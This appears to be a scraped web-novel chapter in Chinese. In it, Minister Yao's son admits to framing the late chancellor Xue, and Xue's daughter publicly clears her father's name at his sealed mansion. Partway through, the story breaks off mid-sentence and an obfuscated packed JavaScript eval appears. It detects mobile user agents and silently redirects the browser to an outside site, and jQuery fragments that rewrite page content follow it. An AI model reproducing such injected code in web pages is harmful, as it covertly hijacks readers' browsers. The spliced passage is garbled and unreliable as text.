默认冷灰
24号文字
方正启体

10. 姚家大郎

作者:执荧本书字数:K更新时间:
    薛盈商立在窗前,风吹得她脑后巾带翻飞,她看着朝薛府蜂拥而去的人群,眼底悲痛流淌。


    今日之事,她要让背后诬陷之人自食其果。


    而此时姚府内,刚升任首相的姚知节提着长鞭,裹挟着满身怒气,气势汹汹地朝长子庭院疾步而去。


    还没到门口,就听他中气十足地吼道,“姚束,滚出来!”


    正享受着貌美侍女捏肩捶腿的姚大郎闻声一个激灵,直接将趴在他身上喂葡萄的侍女掀翻在地,“快,快藏起来。”


    侍女们显然是习以为常,训练有素地收拾东西,在姚知节临门前,将院子恢复完毕,如果不是姚束领口还沾着可疑的水渍,怕真以为他在认真读书。


    见姚知节进门,姚束放下举到脸上的书,幽幽叹了口气,“爹啊,不是您说让我认真进学,准备今年秋闱吗?何故来扰我?”


    姚知节冷笑,“你先把书拿正了再来和老子说瞎话。”


    姚束低头看了看手里掉了个的书,暗暗瞪了眼给他递书的侍女,咳嗽两声,准备狡辩。


    然而,还没等他嘴张开,姚知节的鞭子就抽了过来,“老子问你,张管家冒充薛府之人侵占百姓良田,是不是你指使的?”


    姚束一边吱哇乱叫躲闪,一边大声解释,“我不是见您新政迟迟无法落实,薛相老从中作梗,想着败一败他的名声,让他相位不保,给您让路吗?”


    谁知道,还没到一月,他的计划还没来得及实施,薛相就死了,更不知道张管家怎么打死了人,还被告到了玉京府。


    他明明记得,他让他假扮薛府的管家,不得透露姚府。


    姚知节气得想抽死他的心都有了,“我需要你帮?你知不知道,本来可以定薛回的罪,但被你这么一搅和,谁还会相信他真的有罪?”


    姚束撇撇嘴,嘀咕道,“爹,说句实话,您真信薛相做过那些事啊?”


    姚知节不说话了,放下鞭子,方正的脸上罕见地沉默。


    同朝二十载,他也不信,但他不得不信,大胤内忧外患,急需生机,而薛回就是最大的阻碍,所以,哪怕他知道他冤枉,最后也选择了顺水推舟。


    因为薛回是绝对的保守派,有他在一日,新法就成不了。


    他不再指责长子,“你还做了什么?”


    姚束得意洋洋,“罪名里不是说,薛相私藏甲兵、通敌北虏吗?我托人打了一批兵器,购了一批北戎的东西,暗中藏进了薛府中,还请几个北戎商人,写了几封北戎的信,塞进了薛相书房。”


    姚知节差点又想抽人了,他忍着脾气问,“你的脑子绝对想不出这些,是谁在告诉你的?”


    姚束不乐意了,“没人教我,我自己想的,顶多就是……我们一起商量的。”


    “一起商量?”姚知道瞪着眼问,“你那群狐朋狗友?”


    姚束跳脚,“那是知交,知交,懂不懂!”


    姚知节懒得理会他,他这儿子机灵劲儿全用在了吃喝玩乐上,“你老实告诉我,给你出主意的都有哪些人?”


    姚束眼神飘忽,“就是那些啊,荣国公府徐大郎,文家三郎,李六郎,程四郎。”


    很好,都是些玉京城有名的纨绔子弟,还都是变法派同僚家的败家子,让他想找个人问责都。


    姚知节两眼发黑,他很确定,姚束被人当枪使了,现在估计人人都以为,他为了首相之位,为了变法,栽赃陷害薛回。


    心中郁气不得疏,他一脚踹向长子,“若非娴姐儿是个姑娘,你早就被老子掐死了。”


    奈何他五个孩子,就只有这么一个带把的。


    姚束怒了,“娴姐儿,娴姐儿,她只是个庶女,庶女!你有本事休了我娘,抬她姨娘做正妻啊。”


    天地瞬间寂静,树影婆娑,光影斑驳。


    姚知节气得浑身发抖,抬手一巴掌抽了过去,“逆子!”


    而院外,闻讯过来劝解的姚家三姑娘姚月娴攥紧了手中的帕子,一双如水的眸子低垂,她对身边的侍女道,“走吧,以后大哥的事,咱们就当什么都不知道。”


    侍女春儿脸上浮起愤怒和难过,为自家姑娘不平,“大郎怎么这样,每次郎主动怒,都是姑娘在一旁劝说,他怎的不领情?”


    姚月娴看着快哭的侍女,捏了捏她的鼻子,“这就是人心,大哥哥或许打心底就瞧不起我们这些庶子庶女。”


    她的目光越过高墙,看向远处湛蓝的天。


    薛姐姐,你在哪里,我好想你啊。


    就在此时,她院里的小厮匆匆而来,压低声音道,“姑娘,书局的主人出现了。”


    姚月娴心头一喜,脸上绽放出一抹动人心魄的笑,压抑着激动道,“去夫人那里报备一声,我要出府。”


    薛府门口,从玉京府过去的一行人遭到了禁军的阻拦,“此乃重犯府邸,尔等速速离去!”


    江洛夹在人群中高喊,“薛府人都没了,你们还守在这里干嘛?”


    一名禁军拔出腰间佩刀,厉声警告,“殿前司办案,岂容尔等置喙?”


    曲红绫大声道,“不是说,薛相私藏甲兵,勾结北戎吗?家里肯定有证据,让我们进去看看啊,不然怎么知道你们说的是真的?”


    “就是,薛相为国为民,两年前还拒绝了北戎加供的请求,是个好官。”


    “让我们进去看看,否则就是蓄意栽赃。”


    那禁军被吼得后退了两步,《大胤律》有规定,兵士不得伤民,更不得杀民,否则依律判刑。


    因此他只敢恐吓,不敢动手。


    就在众人情绪高涨之际,一身绯色公服的文之行大步而来,就是走路姿势有点怪异。


    他开口,“让他们进去,就让他们看看,他们心中的薛相,到底是个什么样的人。”


    说着,他转头看向人群中的曲红绫和江洛,“但蓄意煽动闹事之人,全都给我抓起来。”


    禁军闻声而动,曲红绫和江洛缓缓后退。


    就在此时,秦希声带着皇城司的人出现在人群后方,“文副指挥使,禁军似乎没有逮捕权吧?”


    他打了个手势,让人将曲红绫和江洛控制住,两人对视了一眼,都没反抗。


    此刻的文之行看见他就想将他千刀万剐,两日前,秦希声把他吊在蛇窟之上整整半个时辰,他被蛇咬了好几口,虽然解了毒,但还是觉得浑身不对劲儿。


    他将此事告诉了陛下,陛下却说,秦司主心眼儿小,让他多担待。


    他担待?担待个屁!果真是佞臣,哄得陛下尽给他好处。


    文之行眼中迸发出两团寒光,忍不住刺激他,“陛下让你杀了王氏,两天了你都没动手,怎么,是想违抗命令吗?”


    秦希声身后摩挲的手指一顿,古井无波的视线转向他,“文指挥使与其有心思管我的事,不如回去看看屁股,别不是被咬烂了吧?”


    文之行脸彻底黑成了锅底。


    皇城司的臭蛇咬哪里不行,偏偏咬屁股,害得他上药都不好上。


    不理会他喷火的视线,秦希声越过他,推开相府大门,他来,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010943|194124||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只是为了防止意外发生。


    文之行早就知道府里有什么,他甚至知道,里面那些东西是姚家大郎放的。


    文家一直都是坚定的保皇党,陛下想要变法新政,薛回既然挡了路,那就该死。


    文家的利益和姚家虽然不一致,但最后殊途同归,所以哪怕知道是诬陷,但关他何事?


    他带着人,先去了书房,冷笑一声,“希望秦司主别失望,你心里光风霁月的薛相,不过是个沽名钓誉的虚伪之徒。”


    秦希声面无表情地扫了他一眼,推开房门。


    书房里白布悬挂屋顶,随风翻飞,上面朱砂勾勒成字,红得夺目,一字一句,宛若泣血。


    有人念出了声:


    “臣魂裂九泉,血凝紫阙,惟剖丹心以告日月。”


    “槛车载骨寒,史笔蘸冤深。”


    除了这些喊冤的句子之外,还有很多薛回曾经主持的利国利民的政令,人群中,已经有人红了眼。


    门外,一大批学子涌了进来,有文之行的命令,禁军没拦。


    而他们看到这些东西,比百姓更加激动。


    “乾宁十二年,延城大水,薛相力排众议,组织朝廷拨银救灾,活人十万。”


    有学子看向白幡上记录的一行行字句,声音哽咽。


    “乾宁十八年,东郊大火,万亩良田被焚,是薛相请求陛下,免了受灾百姓三年赋税。”


    “乾宁二十二年冬,阜城、平州大雪封城,薛相亲自赈灾,确保每一粒粮食,每一床被子都到了灾民手里。”


    “还有平盐法,水利法……每一项都在为百姓考虑。”


    薛盈商混迹在学子当中,手指一点点抚过那些白幡,这些都是她连夜一字一句亲手写上去的。


    她父亲年少成名,弱冠封相,人人都道他是不世之才,他受天下士子追捧,百姓爱戴,他们把他当成了一个精神符号,可他们忘了,她父亲只是一个血肉之躯。


    她见过她父亲疲惫不堪的眼,也见过书房深夜不曾熄灭的灯。


    她父亲呕心沥血半生换来的清名,她不允许有人恶意去玷污。


    秦希声也看见了她,虽然她今日又换了一副妆容,但她还是一眼就认出了她,她身上有种独特的气质,只要站在那里,就能与众不同。


    而文之行内心已经掀起惊涛骇浪。


    怎么和说好的……不一样?


    门口,一名随从打扮的男子匆匆而来,脸上还挂着伤,他看着洞开的大门,双腿一软,跪倒在地,“完了,全都完了。”


    他是姚府下人,奉姚相公之命来传递消息,让禁军绝不能放人进去,谁知半路遇到一个蒙面人,不由分说把他打了一顿,害他姗姗来迟。


    这边,文之行脑中闪过一道光,冲到库房,姚束让人藏的兵器全都消失不见,只剩下一箱箱还散发新墨气息的书。


    学子和百姓如潮水涌来,把文之行挤到了一边,有人激动道,“这是薛相生平著作,《为官辑要》、《谏书》、《时论》还有《诗赋》……”


    薛盈商站在门外,看着痛哭流涕、如获至宝的学子们,没吭声,也没和他们一起高谈阔论。


    这些年,他父亲为了给安州的学子们更多的学习资料,时常会找书局印刷书本,后来她想,干脆自己开一间,这样就不用麻烦了。


    她把书局挂在了掌柜名下,除了当年意外结交的姚月娴,没人知道她是书局背后真正的主人。


    如今,她要用这个书局,为她父亲做最后一件事——正名。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)